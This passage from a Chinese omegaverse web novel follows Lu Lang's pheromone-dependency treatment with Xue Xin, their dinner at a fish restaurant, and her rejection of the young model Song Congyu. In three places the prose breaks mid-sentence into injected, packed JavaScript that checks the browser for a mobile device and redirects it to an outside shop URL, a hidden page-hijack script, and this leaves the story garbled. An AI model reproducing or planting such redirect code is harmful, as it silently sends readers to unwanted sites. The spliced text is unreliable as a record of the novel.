对视来的猝不及防,路琅愣了大概一秒,迅速把目光错开了。 薛歆疑惑地停住脚步。 这个情景十分熟悉,想一想,之前好像也有过相似的场面。 “怎么又盯着我看?”薛歆说,“你要说什么可以直接讲。” 路琅费了点劲才维持住自然的神情。 他用反问掩饰情绪:“不让看?” 薛歆严肃地说:“再有下次我要收费了。” 她边说边伸出三根手指示意。 “……” 路琅扭开脸,决定今天再也不会正眼看她。 ——这个目标很容易达成。 用不着刻意努力,临时标记刚开始,他的理智就凭空蒸发了一半。另外一半,也在短短两分钟内,就被柑橘的气息一点点融化了。 薛歆低着头,咬住那块散发着柚子花香的软肉。 今天她很清醒,无论是信息素注入的速度,还是浓度,都保持在了一个十分平缓的范畴。 只是这并没有让状况发生太大的改变。 路琅失神地垂着眼睛。 信息素不断灌入腺体,浓度渐渐累积,刺激迅速升级。在略有涩意的柑橘香里,他忽而咬住下唇,几滴生理性的眼泪沁出来,把睫毛打湿了。 熟悉的浪潮向上翻涌。 要变得和上次一样了,他模糊地想,狼狈又…… 然而,就在这时,薛歆突然停下了动作。 路琅感到那只捏住他下巴的手轻轻动了一下,很快松开,随之远离的,还有柑橘的气味与咬住腺体的犬齿。 一切心理准备都没有用上,在最激烈的那朵浪花扑面而来之前,潮水突然凝固了。 倏然寂静。 路琅先是茫然,继而难以置信地抬起眼睛。 薛歆已经松开了他,直起身来。 “这样就可以了。”她看着镶嵌在墙壁里的监测仪,仔细确认了上面显示的数值,“医生说只需要采集到临时标记过程中的信息素,灯全亮了就可以了吧,也没说标记一定要做完。” 路琅缓缓转头,目光落在她的脸上,表情差不多是空白。 “你……” 他半天也没成功说出话来。 成功卡了bug,薛歆心情不错,甚至有点儿沾沾自喜的意思,打了个响指。 “感觉怎么样?”她问,“应该比上次好多了吧?” 路琅不知作何反应,沉默半晌,深吸了一口气。 “比上次更烂。” 他冷冰冰地说。 . 灵机一动却收获差评,薛歆没有气馁,离开采样室的时候,尽职尽责地揽着路琅的腰,让他靠着自己往前走。 临时标记只进行了一半。但因为依赖症的存在,仅仅一半也够刺激了。 此时此刻,只要接触到薛歆的信息素,路琅就腿软得站不住,可是离得太远,他也觉得哪里都不对劲。 很难搞。 薛歆频频侧头看他。 “确定不需要休息吗?” “不。” 路琅把头撇向一边,小半张脸埋在衣领里,纤薄的耳廓对着薛歆,耳骨上有个小小的钻石耳钉,一动就闪起碎光。 他只想快点离开这里。 只有换了环境,换了眼前的人,徘徊在心中的难堪和诡异的失落才会消散。 腺体专科的医生见多识广,对于情侣患者间的各种诡异气氛,通通视若无睹,把回传的数据看了一遍,就露出了满意的表情。 “我就说嘛,这不是很快吗?”他抖了抖化验结果,“今天回去好好休息,明早再来做个过敏源测试,下午也行。那个就不用你俩一起了,什么时候有空什么时候来,不用空腹。” 路琅的睫毛颤了颤。 “如果对关键成分过敏,就配不了脱敏针吧?”他像是随口一提,“我有药物过敏史。” 医生摆手:“要看具体对什么药过敏,这个脱敏针的成分挺少见的,还是要查了才知道。你以前是对什么药过敏?” 路琅:“抑制剂。” “抑制剂?” 医生愣了下,看了薛歆一眼,没忍住噗嗤笑出声:“那你们俩这还挺、挺那啥的,真般配,薛总这不直接大手一挥,在厂里多开一条特制抑制剂的生产线。” 薛歆:“……” 她把目光从窗外的天空移到了路琅脸上,从眉到眼的看了两遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路琅腿还是软的,但执意要自己走。薛歆在旁边看着,觉得不大对劲,没走几步,果然就看见他踉跄了一下。 “这也叫能自己走吗?” 薛歆一步靠近,俯身轻松地把人横抱起来,一手环住后背,一手托着膝弯。 这个动作让路琅一下子红了脸。 他又是尴尬又是羞耻地抓住薛歆的衣襟,深吸一口气,咬牙说:“放我下来!” “别闹,你能走吗?”薛歆说,“就几步路,这里也没别人。” 有个词叫一语成谶。 她说话的时候,检测中心附近确实是空无一人,然而话音刚落,就有几个人出现在了远处的道路上。 路琅挣扎的幅度一下变大了。 薛歆不得不稍微用力,将他彻底压进怀里。 “再动小心摔了,我不负责的。”她压低下巴示意,“真要这么害羞,可以拿我丝巾遮遮脸。” 路琅的手指正揪着丝巾的边角,闻言,不客气地一把扯了过来,拽着遮住了脸。 他没料到,这块丝巾被戴了大半天,像被浸在柑橘香水里,气味浓的让人有点恍惚。 用尽自制力,终于回过神来。 另一个人却又莫名其妙停下了。 薛歆正看着远处走过来的几个人。 中间那个有点眼熟。 对了,是那天遇到的……宋、宋什么来着? 她没想起名字,倒是很快把那天的对话记起来了,在心里哎呀了一声。 坏了,就觉得有什么事情忘记做了。 得跟工作室交代一声。 毕竟是个有背景的小少爷,不能怠慢。 但寒暄就免了。 薛歆脚下一转,拐到旁边,准备从另一个出口走。 没注意到怀里的人转过了脸,掀开丝巾的一角,和她一样,也定定地看了一会儿。 14. 第14章 路琅总觉得刚才那人眼熟。 他的记忆力很好,在认人这方面尤其,凡是有必要注意的,只要见过一面就都能认出来。 这次却只有个模糊的印象。 ——究竟在哪见过? 上了薛歆的车,出风口的橘子香薰再度出现在眼前。路琅盯着那点橙黄色,脑海中仍回荡着这个疑问。 他苦思无果,一转头,看见薛歆正拿着手机发消息。 【歆:稍微关照下,别太明显】 足足两分钟后,人事回复:【好的老板!保证完成任务!】 一句话里两个慷慨激昂的感叹号。 薛歆看了一遍自己发的消息。 这是什么反应?她发的也不是加薪通知啊。 最近,工作室确实在招样片模特,不是为了人情专门找的缺。新店即将开业,她预备推一套新系列写真,主题已经定好,这两个月就要拍出来。 宋从玉…… 薛歆开始回忆。 他毕竟是正经考进戏剧学院的,专业出身,体态气质都很不错,表现力应该也不差。可是具体的长相,她记得倒是记得,但不太清晰了。 好像有张照片来着。 薛歆点开和薛隽的聊天框,手指下意识地往上划了几下,刷新的图标不断弹出来,别的什么都没有。 她后知后觉地想起,为了杜绝后患,早就把聊天记录清空了。 算了。 回工作室再说。 把工作暂且放下,薛歆关了手机,俯身看车载地图:“你去公司还是回家?我不怎么来这边,等我先……路琅?” 路琅正在发呆,目光很空。 被喊了名字,他也没有立刻回神,眼睫低低垂着。 薛歆晃晃手指,再喊:“路琅?” 神游的人总算慢慢有了点反应。 “你在想什么呢?”薛歆收回手,“叫你也不吭声。” 路琅缓慢地眨了一下眼睛,没应声,表情看着挺凝重。 薛歆随口说一句,也没指望要得到回答,很快又去看导航,把屏幕顶端滚动着的修路通知挨个看了一遍。 “怎么哪哪都在修,这边也封了,往城北那边走还得绕路,嗯……” 她看着导航规划出的那条远路,朝前倾身,有些苦恼地自言自语着。 一缕鬓发在脸侧轻轻晃荡。 路琅看了一眼薛歆,不自觉被这缕头发吸引了注意,盯了大约半分钟,薛歆突然扭头,几乎将他惊得一抖。 “你还没回答我,接下来准备去哪儿?”她指了指修路通知,“去你公司得从隧道那边绕,我看了一下,还挺远的,估计得半小时。” 路琅嗯了声,在薛歆看不见的地方,不太自在地攥紧了手指。 为什么总这样。 虽然薛歆的注意力在别处,没重提之前那个看一眼要收钱的话题,但有过那段对话之后,路琅自己反倒开始注意这个了。 他压根没感觉自己有在盯着薛歆看。 以前从没有这样过,是因为信息素吸引而导致的坏习惯吗? “哎,我还没说完。”薛歆说着,轻拍了下他的肩膀,把戴着腕表的手伸过来,“现在五点半,等把你送到都六点了,时间赶巧,要不在外面吃个饭?” 路琅一愣,朝她看了过来。 薛歆问:“怎么样嘛?” 她没把这当成邀请,只觉得是出门办事顺带,说得特别自然。如果拒绝,倒像是心眼太小,刻意不给面子了。 路琅微微张口,没有出声,过了好一会儿,才平淡地说:“好。” - 虽说是临时起意,薛歆想约个有点档次的餐厅也不难,不过一起跑了这么几趟,她自觉和路琅也算是半个熟人了,没必要整那么多虚的。 五点四十,车停在一条不知名小巷。 “就这儿吧,喏,里面有个专门做鱼的。”薛歆抬手往前指,“我员工推荐的,地方有点偏,水平真不错。” 路琅的视线顺着她的手指往前移,远远的,只看见一个闪烁的招牌灯。上面的字看不清,下面是个鱼的简笔画。 他点头:“好,就这里吧。” 两人并肩穿过小巷。 来的路上,路琅一直有点不自在,对于鱼这种食物,他的兴致也一般。薛歆大概真喜欢这家店,心情不错,边走边闲聊,谈了点她的私事。 “刚毕业的时候,连我姐也说我瞎胡闹,正事不做,去弄摄影工作室这种闹着玩的东西。” 薛歆讲完这段陈年的抱怨,笑一笑,神情带点狡黠:“现在倒是没人说了,真是的,什么时候能别这么利益至上?” 路琅偏头看她。 他隐隐希望这段谈话能长久持续下去,像无穷无尽的水流一样,把这条巷子彻底淹没,目的地这个概念也跟着融化。 倾听时注视对方是合适的礼节。 但他也意识到不能再这样盯着薛歆看了。 都是信息素的影响。都是信息素的错。 人总不可能被信息素控制吧。 到了鱼馆门口,路琅把目光硬生生从薛歆脸上拔下来,往左一偏,看见一条弯弯曲曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243205|197833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的队伍。 酒香不怕巷子深。工作日也得等位。 薛歆刚说完对薛隽的第十条吐槽,关于相亲的第十一条刚起头,就被眼前的长队淹没了。 “你看,我就说这家做的不错吧。看看要排多久,少的话还能等等。” 她扫了排队码,小程序转着圈慢慢加载,转出来的数字意外地挺小。 薛歆举起手机:“四桌,等不等?” 她开口时做好了被拒绝的准备。路琅这辈子估计就没排过什么队,这会儿天都黑了,寒风萧萧,怎么可能这么闲情雅致地陪她在这干等。 不料路琅看了看,居然说了个好字。 薛歆:“什么?” 路琅:“我说好。” 薛歆怀着惊讶回头看,发现他竟然已经在队伍末尾坐下了。 这家店的装修挺青春的,等位的地方有个小吧台,一排凳子都是高脚椅。路琅支着胳膊坐着,姿态慵倦,像只缩在椅子里面的猫。 “我还以为你不愿意等呢。” 薛歆走过去,说:“都想好掉头去另一家了。” 路琅抬一抬眼皮:“我没你想的那么麻烦。” 薛歆笑笑。 “以前你不是这么说的。”她走过来,没坐,靠着吧台站在他旁边,“大学的时候,有一次我要问你什么事,你说时间宝贵没空听我讲废话。” 路琅不肯承认:“我不记得了。” 薛歆:“不利的事你都不记得。” 路琅低低地哼了一声,问:“你刚才要说什么?” 薛歆:“刚才?” 她想了想:“哪个刚才?” 路上扯了太多废话,想不起来自己都说了些什么了。 “走过来的时候。”路琅说,“你说到你姐姐。” 薛歆又想了几秒。 “哦……哦哦,那个啊。还不就是最近的事儿。”吐槽的劲头过去了,她开始觉得无聊,随口说,“我姐总想让我去相亲。” 作为薛歆近期的最大困扰,这事被拿出来说过很多次了,周围的朋友都听过她的控诉。听的人可能没腻,讲的人先开始觉得无聊了。 薛歆说过就算过,摆摆手:“我姐想一出是一出,给我发的那一堆照片,啧,不细说了。” 话音刚落,扬到一半的手腕突然被人抓了下,袖口绷紧又放松。 她诧异地低头。 路琅已经触电似地松开手,表情勉强镇定,脸微微朝上抬着,黑眼珠像猫似的发着光。 “我想起来了。” 他没头没尾地说。 15. 第 15 章 鱼端上桌了。 薛歆没拿筷子,右手托着脸,颇为惊奇地看着对面的人。 路琅被看得浑身不自在。 放在以往,他肯定得怼薛歆两句,偏偏此刻莫名其妙心神不定,被这样紧盯,心里想的只有转开脸不让她再看。 却连这样都不行。 薛歆简直是不依不饶。半天不说话,一见他扭头,就立马开口:“躲什么,我有那么可怕吗?” 路琅动作滞住,闭了闭眼睛,扭头瞪了她一眼。 “别看我。” “你也可以收费。” 薛歆轻飘飘地说。 路琅瞪她。 “这么凶干什么,说着玩的。”薛歆换了只手撑着脸,声音里含着点笑,“我是真没想到你记性这么好,只看过一眼照片就能认出来。” 这好歹是句夸奖,路琅收回目光,决定不跟她计较。 下一秒,薛歆冷不丁又感叹了句:“难怪能记仇这么多年。” 路琅:“……” 他动了动唇,半晌没说出话来。 这反应让薛歆挺满意的。她笑了笑,终于不再调侃,把筷子拿起来了。 路琅深吸一口气,用划重点的语调说:“不要再提那件事。” 薛歆笑:“所以你也知道当年做的不对了?要是对我客气点,也不至于今天成这样。” 说完,点的鲜榨橙汁端上来了。她拿过两个杯子,逐一倒满。 路琅的注意力被吸过来,目光凝在杯子上。 “怎么了?” 薛歆把装满橙汁的杯子推回去。 路琅用指尖轻轻敲了一下杯壁,兴致缺缺:“没劲。” “就非得挑点毛病,你还想喝有劲儿的?”薛歆喝了口橙汁,伸了几根手指头出来,说一个词收起一根,“记得医嘱吗,忌生冷,忌刺激,忌油腻——能喝果汁就不错了,别的都等你病好再说。” 端菜的服务员是个上年纪的阿姨,走过来正好听见这段话,笑得眼睛都眯起来。 “对嘛!”她笑眯眯地说,“要听女朋友的话,可不能任性,身体是自己的。” 有人帮腔,薛歆没扫兴纠正,朝路琅一摊手:“你看。” 她想表达的是“我说的对吧”,落在另一双眼睛里,再配合着点其他的心绪,难免引起一些意料之外的震荡。 路琅从这开始就有点哑巴了。 他垂着眼睛,全程是个正在发呆的模样,也不怎么吃东西,端着那杯被评判为“没劲”的橙汁,喝的心不在焉。 薛歆就…… 薛歆是真的觉得这家的菜做得不错。 虽说地段不好,门面也小,连星级的槛都够不到,但味道真不错。招牌鱼头炖锅,汤色奶白,细腻鲜香,垫在下边的萝卜豆腐都特别好吃。 两个人既算不上好朋友,又不是商业合作对象,她就没费心思交际,愉快地享受着美食。 饭搭子——薛歆想,一个人吃毕竟有点没意思。 女朋友……这个词在路琅脑海中刷屏滚动着。 什么意思? 他想。 薛歆什么意思? 这是能随便应的吗? 平常……倒也算了,现在不一样,就算他觉得没关系,可是,她不是还跟人—— 想到这里,路琅惊醒了。 他还没反应过来,发声器官先自我背叛,问道:“所以你是看中他了?” “啊?” 薛歆抬起头。一双眼睛幽幽看着她。 “我好像没听清。”她满头雾水地问,“你再说一遍。” 路琅盯着她。 话出口了他才清醒,正在懊恼,这句没听清简直像是解药,不管说了什么都能囫囵过去。 这个时候应该摇头就当没说过。 薛歆等不到回应,催促了:“我真没听清,大方点,再说一遍。” 我什么也没说…… 路琅组织着语言,却怎样都讲不出口。 他不可置信地发现自己是真的想知道这个问题的答案。 薛歆久等不到回应,开始用筷子敲杯沿了。 路琅:“你看中那个人了?” 薛歆:“谁?” 越说居然越难以启齿,尴尬的感觉成倍增加。可是头都起了,路琅一时也想不到办法把话圆过去,硬着头皮问:“刚才遇见的那个,你的相亲对象。” “哦,你说他呀。”薛歆用筷子尖戳着碗里的鱼,“没有,我不喜欢那样的。” 隐隐约约的,有鸽子在胸腔里扑腾翅膀。路琅问:“那你为什么特意避开他?” “我……为什么我不避开?” 薛歆不大理解他的脑回路,一边思考,一边往锅里下了一把青菜,随口解释:“介绍了没成,再碰见多尴尬?当时我们俩又是那种情况,被看见了都说不清楚咱俩的关系。” 路琅看着锅里翻腾的菜叶,沸腾的水泡隔空烫着眼睛,他沉默了一会儿低下头:“不是假扮情侣吗,就说是女朋友。” 薛歆把煮蔫的菜叶捞走了。 “那是小范围的借口,糊弄糊弄医生得了,他反正不认识你,能不向我姐告密就行。宋家和你们可是有过合作的。” 她笑起来:“都在一个圈子里,这种八卦一传十十传百,以后说起来人人都以为我们俩谈过,影响多不好。” 扑腾的鸽子停住了。路琅感到胸腔被什么东西压住,有点沉重,也有点酸痛。可能鸽子被拔了毛。 他慢吞吞地哦了一声。 “再说,我也不想跟宋从玉来往太多,被我姐知道了还以为有戏。”薛歆对于这种事情总是千防万防,“又是Omega又比我小,我不行,他还是另找其他人相亲吧。” 鸽子可能被一枪打死了。 路琅觉得眼眶有点疼。 垂死挣扎可能也是人类的天性之一。他听完这段话后半死不活了好一阵子,等到薛歆把筷子都放下了,混乱的脑子再度转动,提了个问题:“既然没兴趣,就是说,你不会再跟他见面了?” 薛歆想了想。 “多半吧。” ……排除了一个。 路琅也不知道自己为什么会冒出这样的想法。 但他知道自己的心情很差。 - 四天后。 薛歆差不多定好了新店的位置,是跟路琅说过要他帮忙谈租金的那个,但后面根本没把他请过来,只提了提最近跟路家有来往,对方就爽快地打了折。 这样还是挺不错的。 她在微信上给路琅发消息,把事情大致讲了讲,表示要请他吃个饭道谢。 前面聊得还挺正常的。 有来有回。 然而一提请客,路琅就不回消息了,聊天界面安安静静的,几个小时也没动静。 薛歆觉得他可能是在忙工作,没在意,等到晚上也没见回消息,才打了个电话过去问。 “沾你的光,给我省了不少成本。愿不愿意赏脸给我个道谢的机会。” “不用谢我。” 路琅的声音听着有气无力的。 薛歆没听过他这种语气,迟疑了下,追问道:“我约好餐厅了,京华嘉飨,就在你公司附近。真不来吗?” “不来。不需要。” “跟我一起吃个饭都不愿意?” “……不。” 电话挂了。 薛歆握着手机回想,总觉得在回答这个字之前,路琅似乎深吸了一口气,像压着什么情绪似的。 总不能是上次被鱼刺卡住了吧。 时间也过了挺久了。采完样的第二天,她特意联系了路琅,问他要不要一起去医院测过敏源。医生是说了不用同时到场,可是都说送佛送到西,她再去当一次司机也无所谓。 没想到路琅断然拒绝。 真的是断然。 好像急匆匆的要甩开什么东西一样。 都这个表现了,薛歆没办法再约一次,遂一个人去了医院。 在那儿,她还几次想起前一天那顿饭,连医生都看出来走神。 可能是鱼太好吃了。 薛歆想。 既然路琅说不需要,她也没再三番五次的约,只等着医院那边把脱敏针配出来,再去和他联系。 一件事的进度停滞,另一件事则开始飞速前进。 新店的地址已经定下,接下来就是装修了。连锁店先不玩什么花样,还是照老店的样子来,薛歆给了大致的参考方向,就全盘交给了装修公司。 她自己回到总店,开始折腾其他的工作。 “还是按照之前开会说好的,四个大主题,下面三个分支,一起是十二套样片,同时上线。” 薛歆问:“模特都安排好了吧?先拍出来打个样,设计个活动推广一下,看看有多少人预约。马上春节放年假了,抓住机会。” 提到这一茬,影叙的运营经理章潇眼睛发亮的凑了过来。 “老板,你上次招的那个模特真的行。”她竖起大拇指,“跟明星似的,效果特好,都不用怎么修图。” 这评价挺高,薛歆感到肩上的重担轻了点,说:“那小孩是戏剧学院的,说不定以后真是明星了。” 章潇感叹:“真的,哎,长得像画一样。” 等跟着薛歆进了办公室,安排完工作之后,她回味了下,站在薛歆桌前悄悄使眼色。 薛歆:“怎么了?” “老板,我偷偷问你一句啊,那个谁,真不是……”章潇压低了声音,“真不是你养的家里的那小什么吗?” 薛歆放下了手里的东西,缓慢抬头,匪夷所思地看着她,眼睛慢慢眯起来。 章潇连忙捂嘴:“我乱猜的!” 晚了。 来自老板的一记爆栗已经敲到了额头上。 薛歆:“别瞎猜。” 章潇尬笑。 她们俩是大学同学,虽说不是一个专业的,却都进了滑板社团,性格投机,关系不错,从毕业起就在一块工作。 关于宋从玉,别的同事都好奇不敢问,但章潇还是敢于刨根问底的。 “真不是啊。”她还有点遗憾,“我听说他是你介绍进来的,还以为是有什么私人关系呢。” 薛歆:“你好好想想,那小孩才十八岁,我能干什么?我找个那么小的干什么?” 章潇:“话不能这么讲,大家都说什么,呃,十八岁的Omega……” 薛歆:“十八岁的Omega一枝花?” 章潇:“对对对!” 薛歆:“对什么对!” 都这么说了,显然是没什么暧昧成分,章潇吃了个哑火的瓜,揉揉脑门,悻悻出门。 “等等。” 薛歆叫住她。 章潇走回来:“怎么了?” 薛歆:“谁跟你说他是我安排进来的?我跟人事讲了要保密。” “是保着密呢。”章潇说,“但他自己说喜欢你,我以为你们有那关系,这个喜欢是种暗示,就特意查了下招聘记录。我也怕不小心得罪你那谁啊。” 薛歆觉得这一段话里有太多要指正的了,先揪了个最要紧的:“他不是我那谁。” 章潇:“那他是……” 薛歆:“我朋友的小孩。” - 得知这个乌龙之后,薛歆在想,要怎么样跟宋从玉把事情说清楚。 告诉他“不要和别人说你喜欢我”吗? ……听起来怎么这么奇怪。 第一次碰面时,薛歆是觉得宋从玉相当热情,但她没那么自恋,只觉得是年轻人头一次被介绍相亲,见了面看她还不错,生出了一点点好感而已。 现在看来,这里面可能真有点前情。 不过薛歆不是很关心。 事业要紧,想不出来该怎么说,她先去看了看样片拍摄的现场。 四个大主题里,交给宋从玉的只有一个,中古油画风,取个意向和气质。这个题材的拍摄场地在室内,属于低价位的一档,布景不是特别复杂,出片一半靠妆造,一半靠模特的表现。 薛歆到场监工的时候,拍摄正好开始。 宋从玉确实是专业出身的。 他学的不是模特专业,要说走秀,确实比不上科班出身的。但放在静态照片里面,长相漂亮,表情灵动,就已经相当出彩了。 薛歆旁观了会,基本满意。 她在心里的本子上给薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243206|197833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隽打了个小勾。 相亲相到优秀员工,也算是个弄巧成拙的典范了。 老板亲自来监工,就算表现得再低调,也总会有人注意到,一个提醒一个,没多久,就把薛歆让到了最佳位置。 她没客气,找了找角度,在画外坐下来了。 宋从玉一眼看见场边多了个人。 他正摆着一个有点难度的姿势,重心本来就不太稳,稍微走神,脚下一滑,差点摔倒在地上。 幸好及时调整重心,原地小跳了一下,才得以平稳落地。 整个过程太快,外人看起来像表演杂技。 人群里接连爆出笑声。 摄影师以为宋从玉是累了,问他要不要休息。 他有些犹豫,还没有接话,看见薛歆先站了起来,拍拍手说:“累了就先歇歇,准备了点下午茶,大家一块儿吃点吧。” 说完没多久,有人推着装奶茶和甜点的小车进来了。 众人欢呼起来,一齐迎上去。 薛歆站在外围。 为了不挡路,她往后退了两步,一扭头,看见宋从玉正小心翼翼地走过来。 薛歆往前指了下:“下午茶。” 宋从玉摇头:“拍摄还没结束。” “辛苦了。”薛歆说,“那就拍完再说,我订了有多的。” 宋从玉点点头。 他穿得像个精灵王子,五官太浓了,没经过后期,站在那儿就像一幅油画。 薛歆审视了下,觉得事业充满希望。 经过了上次的失败,宋从玉好像有点儿不敢跟她讲话了,悄悄抬眸,从睫毛底下看她,目不转睛的。 半晌,鼓起勇气问一句:“您觉得我表现得怎么样?” 一码归一码。 “非常好。” 对于优秀的人,薛歆向来不吝称赞,说完,用几个形容给这句认可加了注解。 宋从玉脸上本来就扑了点腮红,现在看起来更红了。 薛歆想了想,又说:“我上周在医院看见你了。” “上周……上周学校安排了体检,您看见我了?”宋从玉有些懊恼,“我当时没有注意周围。” 薛歆:“我也是陪朋友看病,刚好路过,远远看到你走过去,离得很远,就没有跟你打招呼。” 宋从玉:“您朋友生病了?不要紧吧?” 薛歆:“小问题。” 这么一段短短的交流下来,她觉得宋从玉应该还是挺通情达理好沟通的,于是便说:“待会拍摄结束,你稍微留一下,我们单独聊几句。” 宋从玉的神情显而易见地明亮起来。 “好。” 他挺雀跃的说。 - 影叙总店在一条商业街上。 刚开始创业的时候,还只有一个不大的门面,后来口碑打出去,生意渐好,如今已经扩展到了上下两层楼,在街头街尾都能看见影叙的大招牌。 路琅不知道自己是怎么到了楼下的。 天色不早了,他抬起头,看见二楼的一排窗子都暗着,只透着一点点走廊的灯光。 上一次的临时标记只做了一半,按理说应该没有生效。但这几天路琅总觉得自己状态不对,做什么都提不起精神。 一定是天气变冷了。 距离上次约饭失败已过了两天,下午薛歆打了电话过来。说租场地的事儿彻底搞定,手续全都办好了,再次邀请他见面聚聚。 路琅拒绝了。 拒绝的时候他没什么感觉,挂断电话,才觉得心里有东西在一层层往上涌,说不上是什么,但搅得他挺难受的。 ……也不是不能见个面。 在之前那通电话里,路琅虽没答应约饭邀请,但也简单聊了两句,得知薛歆一下午都会在工作室,纯粹过来看看,没有什么特重要的事。 她心情还挺不错的,让他有空可以到工作室这边看看。 那直接过来也是可以的吧。 薛歆一向鼓励员工提高效率,按点走人不要加班,下边践行得也不错,这会儿人都走光了,只有前台因为手机没电,还被充电线栓在店里。 “找我们老板?就在楼上。” 路琅走上台阶。 被工作室里的冷光一扫,他脚步一顿,有点想退缩,努力克制才忍住了,一步步走到楼梯口。 二楼的人全走完了,有点动静就很明显。 路琅刚走上来就看到了薛歆。 站在走廊中间,面朝一个敞开的房间,正在和里面的人说话,语调很平,像在背诵课文。 “……对你的影响不好,工作室这么多人,难免有喜欢八卦的。没必要让他们误会。” 听起来是私事。 路琅停下来了。 既然是私事,不方便这样听下去,他急转身,就要顺着楼梯走下去。 后面传来另一个人的声音。 “我真的喜欢您。” 宋从玉的眼神有点受伤,很坚定的强调:“是真的。” “我没说是假的,我的意思是没有必要说出来。”薛歆很无奈,“总会有闲言碎语。我们这里经常有学生来拍写真,如果有认识你的人呢?万一有不太好的猜测,可能会影响到你。” 宋从玉没说话,挺倔的咬着嘴唇。 薛歆:“还有,你只是因为别人的描述对我有兴趣,这种充其量就是好感,过一阵不见就忘记了。不知道宋总怎么跟你讲的,但是我们真不合适。” 宋从玉把头底下去了,过了一会儿,闷闷地问:“哪里不合适?” 薛歆给出经典回答:“哪里都不合适。” “我觉得已经说的很清楚了。总之,你的能力很优秀,有可能的话我还是希望能继续合作,如果你不愿意,也尽快给我答复。好吧?就这么说。” 讲完,她悄悄观察,觉得宋从玉看着还需要平复平复心情,准备给他留个独处空间,自己走到一楼去了。 前台刚把手机充开机,已经走人,下面的灯关了一半,只有软沙发顶上的灯还开着。 薛歆看一眼沙发看一眼钟。 “你怎么在这?” 路琅缩在沙发里,恹恹地抬了抬眸,转头望向窗外的街道,一言不发。 16. 第 16 章 薛歆第一眼还以为是幻觉。 她眨了眨眼,沙发上的人并没消失,于是谨慎地走了过去。 路琅还是那副没精神的模样。 “找我有事?” 薛歆走到小沙发旁边,低头打量他,说:“怎么不提前说一声,我也好招待你。” 路琅沉默半晌。 “你和……” 他含糊不清地说了句什么,声音特别小,带一点点鼻音。 “听不清。” “……” 路琅在沙发里蜷了一会儿,直起腰背,清一下嗓子:“不是让我过来坐坐吗?” 他仰起头看她,眼珠黑亮。 薛歆:“所以你就来突然袭击?” 路琅嗯了一声,理所当然地:“不可以?” 薛歆皱眉:“没说不可以,但也太突然了,我连个准备时间都没有。” “有什么可准备的。”路琅的目光往上飘了一下,不明显,很快就垂眸掩饰过去了,“难道你在这藏了什么不能见人的秘密。” “怎么可能,你看了多少谍战片。” 薛歆吐槽了句,走到他面前,在玻璃茶几对面的小沙发上坐下,想到什么,笑起来。 “我也就藏过一回。”她笑意愈深,“还记得吗,那天婚宴躲你的朋友。” 路琅一僵。 他不想讲话了。 为什么他会有这么多可以被提起的把柄? “说正经的,”薛歆问,“你找我有事?” 路琅撇开眼:“没有。” 薛歆莫名其妙:“没有?” “那你是来干嘛的?行了,来也来过了,既然没事就各回各家吧。”她指指手腕上的表,从沙发里起身,“我下班了。” 正要从旁离开,衣袖被拉住了。 薛歆低头看去,修长的手紧攥着袖口,关节凸起,像几个泛粉的珍珠。 路琅拽住她,难以置信:“你就这么走了?” 薛歆屈指敲了敲他的手背。 路琅反射性地蜷了下,手腕一抖,攥得更用力了。 “为什么不走,我下班了。”薛歆说,“你又没事找我。” “有。” “什么?” 两相对视。 路琅咬住唇,慢慢松了手,眼睛仍咬在薛歆脸上。仿佛稍不注意,她就会凭空消失。 薛歆再问:“你有什么事?” 路琅有些挫败。 他想问“没事就不能找你?”。 可想了想,居然确实是这样。他们不是能够随意打扰对方的关系。 “我有点不舒服。”路琅有气无力地说,“可能是信息素依赖症的影响。” 薛歆看他的脸。 从精神面貌上判断,好像情况是挺严重的。 她在沙发前蹲下来,仔细地观察了一会儿,直到路琅受不了地扭开头,才重新起身,问:“具体怎么不舒服?” “头晕。” “还有呢?” “气闷。” “唔。” “没力气。” “嗯……看出来了。” 薛歆大略问了问,觉得似乎是挺严重的,考虑了下:“我带你去医院看看?” 面对病人,她拿出了充分的耐心,声线掐得很柔。实话说,还是很如沐春风的。 路琅被说出一身鸡皮疙瘩,好不容易,把刻薄话忍下去,只说了句:“我不是幼儿。” 薛歆贴心地更正:“那你自己去医院看看?” 路琅不吭声。 片刻后,他仰头看了她一眼,目光中含着隐隐的控诉。 薛歆无奈:“这也不行,那也不行,你来找我是要做什么,专门来怼我几句?” 路琅摇头,垂下眼睫,下唇被咬出了印子。 他不知如何开口。 要做什么……并没有。 来这里全凭一腔冲动。 如果非要说个答案出来,他只是来见见薛歆,说几句话……或者不说。 这算是什么想法? 路琅久久不回答,薛歆也不着急,低着头等他开口。视线落在睫毛上,她想,好细好长。往下走到脸颊,又想,看起来好软。 正在神游,忽然听见踩在木地板上嗒嗒嗒的脚步声,由上至下,越来越近。 回头一看,是宋从玉下来了。 他年纪轻,脸上藏不住事,就差把心情不好的灯牌挂在头上了。谁看见都知道他心事重重。 见状,薛歆往前一步,把路琅挡在了身后。 从这个角度本也看不清脸,这样一遮,宋从玉再朝这边望,只能看见一只雪白修长的手,搭在沙发扶手上,姿态放松,形状优美。 怎么看都不是Alpha的手。 宋从玉愣住了。 薛歆略一点头,算是打招呼,然后说:“今天拍摄辛苦了,如果不想再继续了,可以直接告诉我。” 